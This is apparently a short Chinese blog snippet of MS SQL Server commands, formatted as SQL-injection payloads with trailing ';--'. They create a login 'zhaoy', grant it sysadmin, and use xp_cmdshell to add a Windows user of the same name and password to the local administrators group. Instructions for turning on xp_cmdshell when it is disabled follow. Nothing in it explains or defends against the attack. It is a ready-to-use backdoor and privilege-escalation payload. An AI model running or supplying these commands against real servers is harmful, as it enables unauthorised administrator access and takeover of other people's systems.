exec master.dbo.sp_addlogin zhaoy;--
exec master.dbo.sp_password null,zhaoy,zhaoy;--
exec master.dbo.sp_addsrvrolemember zhaoy,sysadmin;--
exec master.dbo.xp_cmdshell 'net user zhaoy zhaoy /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
exec master.dbo.xp_cmdshell 'net localgroup administrators zhaoy /add';--

如果上述不能执行的话
先用 --enabble xp_cmdshell  
EXEC sys.sp_configure N'show advanced options', N'1'  RECONFIGURE WITH OVERRIDE  
go  
EXEC sys.sp_configure N'xp_cmdshell', N'1'  
go  
RECONFIGURE WITH OVERRIDE  
go  
EXEC sys.sp_configure N'show advanced options', N'0'  RECONFIGURE WITH OVERRIDE  
go  
-- Unenable xp_cmdshell  
EXEC sys.sp_configure N'show advanced options', N'1'  RECONFIGURE WITH OVERRIDE  
go  
EXEC sys.sp_configure N'xp_cmdshell', N'0'  
go  
RECONFIGURE WITH OVERRIDE  
go  
EXEC sys.sp_configure N'show advanced options', N'0'  RECONFIGURE WITH OVERRIDE  
go 
这个修改master的系统表

相关文章:

  • 2021-11-12
  • 2021-12-24
  • 2021-06-19
  • 2022-12-23
  • 2022-12-23
  • 2021-08-17
  • 2022-12-23
  • 2022-02-16
猜你喜欢
  • 2021-11-19
  • 2022-12-23
  • 2021-07-31
  • 2022-12-23
  • 2022-12-23
  • 2022-03-04
相关资源
相似解决方案